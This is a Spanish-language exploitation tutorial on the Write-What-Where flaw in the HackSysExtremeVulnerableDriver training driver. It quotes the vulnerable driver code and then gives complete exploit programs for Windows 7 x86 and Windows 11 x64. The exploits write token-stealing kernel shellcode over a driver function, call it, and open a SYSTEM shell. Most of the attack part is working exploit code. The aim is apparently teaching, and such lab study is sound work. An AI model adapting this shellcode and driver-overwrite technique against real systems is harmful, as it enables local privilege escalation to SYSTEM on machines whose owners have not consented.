Si has seguido los tutoriales desde el principio, sientete orgulloso de superar el “Use After Free” en el Windows Kernel! Ahora vamos a aprovechar un “Write What Where” vulnerabilidad en Windows 7 (x86) y luego proceder a adaptar lo que aprendemos a Windows 11 (x64). La traducción de esta vulnerabilidad en español sería “Escribir, Qué, Dónde”.

Podría decirse que este es uno de los tipos de vulnerabilidades más poderosos - que personalmente prefiero llamar “escritura arbitraria”, ya que así es como lo llamaban mis amigos antes de que yo hubiera oído de “Write What Where”. Sin embargo, “Escribir, Qué, Dónde” puede ser en realidad un término mejor ya que tiene una correlación directa con lo que hace el error, mientras que “escritura arbitraria” es más amplio.

Como quieras llamarlo, no importa :)

Table of Contents

Qué es un “Escribir, Qué, Dónde” (Alto Nivel)

En caso de que no estés familiarizado con que es un “Escribir, Qué, Dónde” vulnerabilidad, comencemos con una descripción general de lo que es.

Para usar un ejemplo no técnico, hay un episodio de SpongeBob SquarePants dónde SpongeBob y Patrick tiene una pelea de bolas de nieve. En la imagen de abajo, vemos una imagen del episodio.

alt text

Normalmente, cuando haces una bola de nieve, le das la forma de un círculo. Sin embargo, como se ve en la imagen arriba, Patrick en realidad los convierte cuadrados. En realidad, Patrick muchas formas diferentes:

alt text

Aunque Patrick en realidad no gana la pelea, demuestra las características de un hacker que se aprovecha de una vulnerabilidad de “Escribir, Qué, Dónde”. En el episodio, Patrick está tirando cualquier forma que quiere (Escribir), creado a de nieve (Qué), y enviándolo a Spongebob (Dónde).

De manera similar, en el contexto de una vulnerabilidad de seguridad, un atacante puede escribir información arbitrario - puede ser cualquier cosa, como una cuerda, un número entero o un objeto más complejo. Como Patrick, El atacante también puede elegir dónde enviar esta información, yendo a partes específicas de memoria.

Esta capacidad de controlar tanto la información como su destino hace que las vulnerabilidades “Escribir, Qué, Dónde” sean peligrosas, ya que pueden provocar corrupción de la memoria, aumento de privilegios o incluso ejecución de código arbitrario.

Windows 7 (x86)

Al igual que con los últimos tutoriales, comenzaremos con Windows 7 (x86). Debido a la complejidad de la explotación, incluiremos dos exploits en este tutorial!

Dicho esto, ejecuta tu máquina virtual de Windows 7 (x86)!

Usando el Código

Al igual que con el UaF veamos el terreno ( ✧≖ ͜ʖ≖)

$ find . -name "ArbitraryWrite*" 
./Driver/HEVD/ArbitraryWrite.h
./Driver/HEVD/ArbitraryWrite.c

A diferencia de las últimas dos vulnerabilidades, no estamos lidiando con muchas “Handler” funciones, estaremos principalmente mirando ArbitraryWriteIoctlHandler.

ArbitraryWriteIoctlHandler()

ArbitraryWriteIoctlHandler

Mirando esto handler (ArbitraryWrite.c), podemos ver que nuestra entrada de usuario finalmente se pasará a TriggerArbitraryWrite().

134 NTSTATUS
135 ArbitraryWriteIoctlHandler(
136     _In_ PIRP Irp,
137     _In_ PIO_STACK_LOCATION IrpSp
138 )
139 {
140     NTSTATUS Status = STATUS_UNSUCCESSFUL;
141     PWRITE_WHAT_WHERE UserWriteWhatWhere = NULL;
142 
143     UNREFERENCED_PARAMETER(Irp);
144     PAGED_CODE();
145 
146     UserWriteWhatWhere = (PWRITE_WHAT_WHERE)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
147 
148     if (UserWriteWhatWhere)
149     {
150         Status = TriggerArbitraryWrite(UserWriteWhatWhere);
151     }
152 
153     return Status;
154 }

Sin embargo, nuestra información de usuario se convertirá en un objeto PWRITE_WHAT_WHERE (técnicamente un puntero a una estructura WRITE_WHAT_WHERE).

Veamos esta estructura (ArbitraryWrite.h).

 62 typedef struct _WRITE_WHAT_WHERE
 63 {
 64     PULONG_PTR What;
 65     PULONG_PTR Where;
 66 } WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

Vemos dos punteros a números LONG, nada muy loco.

Habiendo entendido el diseño de la estructura, veamos la función TriggerArbitraryWrite() que toma nuestra información y la convierte a este tipo de estructura.

 63 NTSTATUS
 64 TriggerArbitraryWrite(
 65     _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
 66 )
 67 {
 68     PULONG_PTR What = NULL;
 69     PULONG_PTR Where = NULL;
 70     NTSTATUS Status = STATUS_SUCCESS;
 71 
 72     PAGED_CODE();
 73 
 74     __try
 75     {
 76         //
 77         // Verify if the buffer resides in user mode
 78         //
 79 
 80         ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 81 
 82         What = UserWriteWhatWhere->What;
 83         Where = UserWriteWhatWhere->Where;
 84 
 85         DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
 86         DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
 87         DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
 88         DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);
 89 
 90 #ifdef SECURE
 91         //
 92         // Secure Note: This is secure because the developer is properly validating if address
 93         // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()/
 94         // ProbeForWrite() routine before performing the write operation
 95         //
 96         
 97         ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 98         ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR));
 99         
100         *(Where) = *(What);
101 #else   
102         DbgPrint("[+] Triggering Arbitrary Write\n");
103         
104         //
105         // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
106         // because the developer is writing the value pointed by 'What' to memory location
107         // pointed by 'Where' without properly validating if the values pointed by 'Where'
108         // and 'What' resides in User mode
109         //
110 
111         *(Where) = *(What);
112 #endif
113     }
114     __except (EXCEPTION_EXECUTE_HANDLER)
115     {
116         Status = GetExceptionCode();
117         DbgPrint("[-] Exception Code: 0x%X\n", Status);
118     }
119 
120     //
121     // There is one more hidden vulnerability. Find it out.
122     //
123 
124     return Status;
125 }

Como ocurre con todos los bloques de código, veamos esto sección por sección.

 80         ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR));
 81 
 82         What = UserWriteWhatWhere->What;
 83         Where = UserWriteWhatWhere->Where;
 84 
 85         DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
 86         DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
 87         DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", What);
 88         DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", Where);

Vemos que las variables locales de tipo PULONG_PTR se asignan desde nuestra estructura.

Después de este código, ingresamos a la declaración #else ya que estamos operando en el controlador vulnerable.

111         *(Where) = *(What);

Aquí vemos que todo lo que se guarde en nuestro puntero What se escribirá en el puntero Where. Para ser más específicos, eliminaremos la referencia al puntero Where y asignaremos el valor almacenado en la ubicación de memoria señalada por What.

En teoría podemos escribir lo que queramos donde queramos. Esto significa que no necesitamos preocuparnos demasiado sobre dónde almacenar nuestro código, ya que tenemos acceso a todo el sistema operativo ya que estamos ejecutando bajo el contexto del Kernel.

Nuestro enfoque será filtrar la dirección base de HEVD y determinar una función que podamos sobrescribir para ejecutar nuestro código. Una vez que nuestro código esté colocado en dicha función simplemente podemos llamarlo. Además, no deberíamos tener que preocuparnos por SMEP ya que ejecutaremos una función que debe estar en el espacio del Kernel.

Esto parece fácil… aprovechémoslo!

Explotación

Al ver que esta vulnerabilidad es básica, decidí escribir una PoC inmediatamente. Como podemos escribir en cualquier lugar que queramos, ¡simplemente podemos sobrescribir cualquier función!

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define ARW_HELPER_OBJECTS 3
#define MAX_OBJECT_COUNT 65535

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802)
#define HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX IOCTL(0x81B)

/* Structure used by Write-What-Where */
typedef struct _WRITE_WHAT_WHERE
{
  PULONG_PTR What;
  PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

/* typdef signature for ZwQuerySystemInformation */
typedef NTSTATUS (__stdcall *ZWQUERYSYSTEMINFORMATION)(
                  SYSTEM_INFORMATION_CLASS SystemInformationClass,
                  PVOID                    SystemInformation,
                  ULONG                    SystemInformationLength,
                  PULONG                   ReturnLength
);

/* Structures used by KernelGetModuleBase */
typedef struct _SYSTEM_MODULE_ENTRY
{
  HANDLE Section;
  PVOID MappedBase;
  PVOID ImageBase;
  ULONG ImageSize;
  ULONG Flags;
  USHORT LoadOrderIndex;
  USHORT InitOrderIndex;
  USHORT LoadCount;
  USHORT OffsetToFileName;
  UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION
{
  ULONG Count;
  SYSTEM_MODULE_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

/* KernelGetModuleBase():
     Function used to obtain kernel module address */
PVOID KernelGetModuleBase(PCHAR pcModuleName)
{
  HANDLE hModule                                    = NULL;
  PVOID pSystemInfo                                 = NULL;
  PVOID pModule                                     = NULL;
  ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;
  NTSTATUS status                                   = 0xc000009a; // STATUS_INSUFFICIENT_RESOURCES
  SYSTEM_INFORMATION_CLASS SystemModuleInformation  = 0x0B;
  ULONG SystemInfoSize                              = 0;
  
  hModule = LoadLibraryA("ntdll.dll");
  if (hModule == NULL)
  {
    printf("[-] Failed to load ntdll.dll\n");
    return NULL;
  }

  ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hModule, "ZwQuerySystemInformation");
  if (ZwQuerySystemInformation == NULL)
  {
    printf("[-] Failed to find ZwQuerySystemInformation within ntdll.dll");
    CloseHandle(hModule);
    return NULL;
  }

  /* Obtain the size of the requested information */
  status = ZwQuerySystemInformation(SystemModuleInformation,
                                    NULL,
                                    SystemInfoSize,
                                    &SystemInfoSize);

  if (SystemInfoSize == 0) {
    printf("[*] Failed to get size of SystemInformation\n");
    CloseHandle(hModule);
    return NULL;
  }

  pSystemInfo = (PSYSTEM_MODULE_INFORMATION)malloc(SystemInfoSize);
  if (pSystemInfo == NULL)
  {
    printf("[-] Failed to allocate buffer for SystemInformation\n");
    CloseHandle(hModule);
    return NULL;
  }
  memset(pSystemInfo, '\0', SystemInfoSize);

  /* Obtain the SystemModuleInformation */
  status = ZwQuerySystemInformation(SystemModuleInformation,
                                    pSystemInfo,
                                    SystemInfoSize,
                                    &SystemInfoSize);

  PSYSTEM_MODULE_ENTRY pSysModule = ((PSYSTEM_MODULE_INFORMATION)(pSystemInfo))->Module;
  for (unsigned long i = 0; i < ((PSYSTEM_MODULE_INFORMATION)(pSystemInfo))->Count; i++)
  {
    if (StrStrA(pSysModule[i].FullPathName, pcModuleName) != NULL)
    {
      pModule = pSysModule[i].ImageBase;
    }
  }

  if (hModule != NULL)
  {
    CloseHandle(hModule);
  }

  return pModule;
}

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* WriteBytes():
     This function triggers the Write-What-Where vulnerability */
void WriteBytes(HANDLE hHEVD, ULONG ulWhat, ULONG ulWhere)
{
  DWORD dwBytesReturned;
  WRITE_WHAT_WHERE www = { 0 };

  www.Where = (PULONG)ulWhere;
  www.What = &ulWhat;
  printf("\t[*] Writing 0x%p to 0x%p\n", *www.What, www.Where);

  DeviceIoControl(hHEVD,
                  HEVD_IOCTL_ARBITRARY_WRITE,
                  &www,
                  sizeof(WRITE_WHAT_WHERE),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);
  return;
}

/* Exploit():
     Arbitrary write */
int Exploit(HANDLE hHEVD)
{
  DWORD i                 = 0;
  DWORD dwShellcodeLength = 0;
  DWORD dwBytesReturned   = 0;
  ULONG target            = 0;
  ULONG ulRawBytes        = 0;
  PVOID pHEVDBase         = NULL;
  CHAR cRawBytes[60]      = { 0 };

  CHAR cShellcode[]=
  "\x90\x90\x90"                 // nops

  // sickle -p windows/x86/kernel_token_stealer -f c -m pinpoint
  "\x60"                         // pushal 
  "\x31\xc0"                     // xor eax, eax
  "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
  "\x8b\x40\x50"                 // mov eax, dword ptr [eax + 0x50]
  "\x89\xc1"                     // mov ecx, eax
  "\xba\x04\x00\x00\x00"         // mov edx, 4
  "\x8b\x80\xb8\x00\x00\x00"     // mov eax, dword ptr [eax + 0xb8]
  "\x2d\xb8\x00\x00\x00"         // sub eax, 0xb8
  "\x39\x90\xb4\x00\x00\x00"     // cmp dword ptr [eax + 0xb4], edx
  "\x75\xed"                     // jne 0x1014
  "\x8b\x90\xf8\x00\x00\x00"     // mov edx, dword ptr [eax + 0xf8]
  "\x89\x91\xf8\x00\x00\x00"     // mov dword ptr [ecx + 0xf8], edx
  "\x61"                         // popal

  /* return code (sickle -a x86 -m asm_shell) */
  "\x31\xc0"                     // xor eax, eax
  "\xc2\x08\x00";                // ret 0x8

  dwShellcodeLength = 60;
  if ((dwShellcodeLength % 4) != 0)
  {
    printf("[-] Shellcode must by divisible by 4\n");
    return -1;
  }

  pHEVDBase = KernelGetModuleBase("HEVD");
  if (pHEVDBase == NULL)
  {
    printf("[-] Failed to obtain the base address of HEVD\n");
    return -1;
  }
  printf("[*] Obtained HEVD base address: 0x%p\n", pHEVDBase);

  target = (ULONG)pHEVDBase + 0x448f2;
  printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}\n");
 
  /* This is a quick for loop I whipped up to write our shellcode. The way this works is the buffer
     is converted into a little endian ASCII address (e.g 0x41424344 -> 0x44434241) then we convert
     the ASCII address to an unsigned long integer (4 bytes) to be written via the Write-What-Where
     vulnerability. Each iteration we increment the target address by 4 (32bit address) to point to
     the next address, we also increment the pointer to the shellcode array by 4 (we can only write
     4 bytes at a time). */
  for (i = 0; i < dwShellcodeLength; i += 4)
  {
    sprintf(cRawBytes, "0x%02x%02x%02x%02x", ((uint32_t)cShellcode[i+3] & 0xff),
                                             ((uint32_t)cShellcode[i+2] & 0xff),
                                             ((uint32_t)cShellcode[i+1] & 0xff),
                                             ((uint32_t)cShellcode[i+0] & 0xff));

    ulRawBytes = strtoul(cRawBytes, NULL, 16);
    WriteBytes(hHEVD, ulRawBytes, target);
    memset(cRawBytes, '\0', 60);
    target += 4;
  }

  printf("[+] Calling DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx\n");
  DeviceIoControl(hHEVD,
                  HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX,
                  NULL,
                  0,
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[+] Exploitation successful, enjoy your shell!\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
    return -1;
  }

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

La victoria se puede ver hacia abajo :)

alt text

Un trabajo buen aprovechando la vulnerabilidad “Escribir qué dónde”! Como oportunidad de aprender, antes de leer la siguiente sección, intente aprovechar esta vulnerabilidad contra cualquier versión de Windows 11 (x64).

Si logras ejecutar el código, pregúntese: cuáles son los principales cambios? Hay algunos? Incluso si no lo obtienes antes de continuar, obtendrás habilidades para mejorar aún más tu enfoque durante la explotación. :)

Windows 11 (x64)

Habiendo completado este desafío bastante rápido en Windows 7 (x86), intentemos explotarlo en Windows 11 (x64).

Ingeniería Inversa

Al observar esta función vulnerable en Ghidra, es fácil detectar la escritura arbitraria usando el código pseudo.

alt text

Lo siguiente que debemos hacer es identificar cuáles son los miembros de la estructura _WRITE_WHAT_WHERE, en este caso es fácil de identificar ya que vemos que los miembros a los que se accede se almacenan en punteros “unsigned long”. Sin embargo, dado que tenemos símbolos, podemos ubicarlos fácilmente solo para estar seguros en el Data Type Manager.

alt text

Sabiendo esta información podemos comenzar a crear una PoC para interactuar con esta función.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define ARBITRARY_WRITE 0x22200b

/* Structure used by Write-What-Where */
typedef struct _WRITE_WHAT_WHERE
{
  uint64_t *ullpWhat;
  uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
  char pcDriver[1024]    = { 0 };
  LPVOID lpvTargetDriver = NULL;
  LPVOID *lpvDrivers     = NULL;
  DWORD dwCB             = 0;
  DWORD dwDrivers        = 0;
  DWORD i                = 0;

  EnumDeviceDrivers(NULL, dwCB, &dwCB);
  if (dwCB <= 0)
    return NULL;

  lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
  if (lpvDrivers == NULL)
    return NULL;

  if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
  {
    dwDrivers = dwCB / sizeof(LPVOID);
    for (i = 0; i < dwDrivers; i++)
      if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
        if (StrStrA(pcDriver, pKernelModule) != NULL)
          lpvTargetDriver = lpvDrivers[i];
  }

  free(lpvDrivers);

  return lpvTargetDriver;
}

void WriteBytes(HANDLE hHEVD, uint64_t ullWhat, uint64_t ullWhere)
{
  DWORD dwBytesReturned = 0;
  WRITE_WHAT_WHERE www = { 0 };

  www.ullpWhere = (uint64_t *)ullWhere;
  www.ullpWhat = &ullWhat;
  printf("\t[*] Writing 0x%p to 0x%p\n", *www.ullpWhat, www.ullpWhere);

  DeviceIoControl(hHEVD,
                  ARBITRARY_WRITE,
                  &www,
                  sizeof(WRITE_WHAT_WHERE),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

  return;
}

int Exploit(HANDLE hHEVD)
{
  LPVOID pHEVDBase         = NULL;
  DWORD i                  = 0;
  DWORD dwShellcodeLength  = 0;
  DWORD dwBytesReturned    = 0;
  uint64_t ullTarget       = 0;
  uint64_t ullRawBytes     = 0;

  CHAR cRawBytes[60] = { 0 };
  CHAR shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x42";

  dwShellcodeLength = 8;
  if ((dwShellcodeLength % 8) != 0)
  {
    printf("[-] Shellcode must be divisible by 8\n");
    return -1;
  }

  pHEVDBase = GetKernelModuleBase("HEVD");
  if (pHEVDBase == NULL)
  {
    printf("[-] Failed to obtain the base address of HEVD\n");
    return -1;
  }
  printf("[*] Obtained the base address of HEVD: 0x%p\n", pHEVDBase);

  ullTarget = (uint64_t)pHEVDBase + 0x85b14;
  printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}\n");

  for (i = 0; i < dwShellcodeLength; i += sizeof(uint64_t))
  {
    sprintf(cRawBytes, "0x%02x%02x%02x%02x%02x%02x%02x%02x", ((uint32_t)shellcode[i+7] & 0xff),
                                                             ((uint32_t)shellcode[i+6] & 0xff),
                                                             ((uint32_t)shellcode[i+5] & 0xff),
                                                             ((uint32_t)shellcode[i+4] & 0xff),
                                                             ((uint32_t)shellcode[i+3] & 0xff),
                                                             ((uint32_t)shellcode[i+2] & 0xff),
                                                             ((uint32_t)shellcode[i+1] & 0xff),
                                                             ((uint32_t)shellcode[i+0] & 0xff));

    ullRawBytes = strtoull(cRawBytes, NULL, 16);
    WriteBytes(hHEVD, ullRawBytes, ullTarget);
    memset(cRawBytes, '\0', 60);
    ullTarget += sizeof(uint64_t);
  }


}

int main()
{
  HANDLE hHEVD = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  Exploit(hHEVD);

  if (hHEVD != NULL)
    CloseHandle(hHEVD);

  return 0;
}

Probemos esto..

alt text

Una vez enviado, podemos ver que hemos activado la escritura arbitraria :)

alt text

Explotación

Después de algunos retoques, pude escribir un exploit completamente funcional que se puede ver a abajo:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define ARBITRARY_WRITE 0x22200b
#define TARGET_FUNCTION 0x22206f

/* Structure used by Write-What-Where */
typedef struct _WRITE_WHAT_WHERE
{
  uint64_t *ullpWhat;
  uint64_t *ullpWhere;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;

/* GetKernelModuleBase():
     Function used to obtain kernel module address */
LPVOID GetKernelModuleBase(PCHAR pKernelModule)
{
  char pcDriver[1024]    = { 0 };
  LPVOID lpvTargetDriver = NULL;
  LPVOID *lpvDrivers     = NULL;
  DWORD dwCB             = 0;
  DWORD dwDrivers        = 0;
  DWORD i                = 0;

  EnumDeviceDrivers(NULL, dwCB, &dwCB);
  if (dwCB <= 0)
    return NULL;

  lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));
  if (lpvDrivers == NULL)
    return NULL;

  if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB))
  {
    dwDrivers = dwCB / sizeof(LPVOID);
    for (i = 0; i < dwDrivers; i++)
      if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))
        if (StrStrA(pcDriver, pKernelModule) != NULL)
          lpvTargetDriver = lpvDrivers[i];
  }

  free(lpvDrivers);

  return lpvTargetDriver;
}

/* WriteBytes():
     This function triggers the Write-What-Where vulnerability */
void WriteBytes(HANDLE hHEVD, uint64_t ullWhat, uint64_t ullWhere)
{
  DWORD dwBytesReturned = 0;
  WRITE_WHAT_WHERE www = { 0 };

  www.ullpWhere = (uint64_t *)ullWhere;
  www.ullpWhat = &ullWhat;
  printf("\t[*] Writing 0x%p to 0x%p\n", *www.ullpWhat, www.ullpWhere);

  DeviceIoControl(hHEVD,
                  ARBITRARY_WRITE,
                  &www,
                  sizeof(WRITE_WHAT_WHERE),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

  return;
}

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* Exploit():
     Arbitrary Write */
int Exploit(HANDLE hHEVD)
{
  LPVOID pHEVDBase         = NULL;
  DWORD i                  = 0;
  DWORD dwShellcodeLength  = 0;
  DWORD dwBytesReturned    = 0;
  uint64_t ullTarget       = 0;
  uint64_t ullRawBytes     = 0;

  CHAR cRawBytes[60] = { 0 };
  CHAR shellcode[]=
  /* ALIGNMENT */
  "\x90\x90"

  /* python3 sickle.py -p windows/x64/kernel_token_stealer -f c -m pinpoint (58 bytes) */
  "\x65\x48\xa1\x88\x01\x00\x00\x00\x00\x00\x00" // movabs rax, qword ptr gs:[0x188]
  "\x48\x8b\x80\xb8\x00\x00\x00"                 // mov rax, qword ptr [rax + 0xb8]
  "\x48\x89\xc1"                                 // mov rcx, rax
  "\xb2\x04"                                     // mov dl, 4
  "\x48\x8b\x80\x48\x04\x00\x00"                 // mov rax, qword ptr [rax + 0x448]
  "\x48\x2d\x48\x04\x00\x00"                     // sub rax, 0x448
  "\x38\x90\x40\x04\x00\x00"                     // cmp byte ptr [rax + 0x440], dl
  "\x75\xeb"                                     // jne 0x1017
  "\x48\x8b\x90\xb8\x04\x00\x00"                 // mov rdx, qword ptr [rax + 0x4b8]
  "\x48\x89\x91\xb8\x04\x00\x00"                 // mov qword ptr [rcx + 0x4b8], rdx

  /* KERNEL RECOVERY */
  "\x48\x31\xc0"                         /* xor rax, rax */
  "\xc3";                                /* ret */                            

  dwShellcodeLength = 64;
  if ((dwShellcodeLength % 8) != 0)
  {
    printf("[-] Shellcode must be divisible by 8\n");
    return -1;
  }

  pHEVDBase = GetKernelModuleBase("HEVD");
  if (pHEVDBase == NULL)
  {
    printf("[-] Failed to obtain the base address of HEVD\n");
    return -1;
  }
  printf("[*] Obtained the base address of HEVD: 0x%p\n", pHEVDBase);

  ullTarget = (uint64_t)pHEVDBase + 0x85b14;
  printf("[*] Overwriting memory @{DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler}\n");

  /* Same operation as the Windows 7 exploit just ported to work on 64bit addressing */
  for (i = 0; i < dwShellcodeLength; i += sizeof(uint64_t))
  {
    sprintf(cRawBytes, "0x%02x%02x%02x%02x%02x%02x%02x%02x", ((uint32_t)shellcode[i+7] & 0xff),
                                                             ((uint32_t)shellcode[i+6] & 0xff),
                                                             ((uint32_t)shellcode[i+5] & 0xff),
                                                             ((uint32_t)shellcode[i+4] & 0xff),
                                                             ((uint32_t)shellcode[i+3] & 0xff),
                                                             ((uint32_t)shellcode[i+2] & 0xff),
                                                             ((uint32_t)shellcode[i+1] & 0xff),
                                                             ((uint32_t)shellcode[i+0] & 0xff));

    ullRawBytes = strtoull(cRawBytes, NULL, 16);
    WriteBytes(hHEVD, ullRawBytes, ullTarget);
    memset(cRawBytes, '\0', 60);
    ullTarget += sizeof(uint64_t);
  }

  printf("[*] Shellcode buffer written!!\n");
  printf("[*] Calling DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler\n");
  DeviceIoControl(hHEVD,
                  TARGET_FUNCTION,
                  NULL,
                  0x00,
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;

  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == INVALID_HANDLE_VALUE)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[+] Exploitation successful, enjoy the shell!!\n\n");
    system("cmd.exe");
  } else {
    printf("[*] Exploitation failed, run again\n");
  }

  if (hHEVD != NULL)
    CloseHandle(hHEVD);

  return 0;
}

Una vez, enviada logramos la ejecución del código!

alt text